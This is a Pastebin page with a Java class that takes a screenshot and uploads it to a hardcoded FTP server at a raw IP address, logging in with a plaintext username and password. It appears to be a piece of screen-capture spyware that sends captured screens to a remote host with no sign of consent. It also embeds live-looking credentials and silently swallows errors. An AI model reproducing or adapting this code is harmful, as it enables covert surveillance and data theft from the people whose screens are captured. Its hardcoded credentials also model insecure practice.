Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.InputStream;
- import java.io.*;
- import java.net.*;
- import org.apache.log4j.Logger;
- import org.apache.commons.net.ftp.FTP;
- import org.apache.commons.net.ftp.FTPClient;
- import org.apache.commons.net.ftp.FTPReply;
- public class FTPUpload {
- public void Upload(){
- String hostName = "195.191.25.150";
- String username = "justcybe";
- String password = "1234!@#$";
- String location = "/";
- FTPClient ftp = null;
- ExecShot name = new ExecShot();
- CurrentTime tm2 = new CurrentTime();
- InputStream in = null;
- String print;
- try {
- ftp = new FTPClient();
- ftp.connect(hostName);
- ftp.login(username, password);
- ftp.setFileType(FTP.BINARY_FILE_TYPE);
- ftp.changeWorkingDirectory("/");
- int reply = ftp.getReplyCode();
- System.out.println("Received Reply from FTP Connection:" + reply);
- if(FTPReply.isPositiveCompletion(reply)){
- System.out.println("Connected Success");
- }
- print = name.TakeScreenShot();
- File f1 = new File(location);
- in = new FileInputStream(print);
- ftp.storeFile(print,in);
- System.out.println("SUCCESS");
- ftp.logout();
- ftp.disconnect();
- System.out.println("Disconnected");
- } catch (FileNotFoundException ex){
- // System.out.println("file not found");
- }
- catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement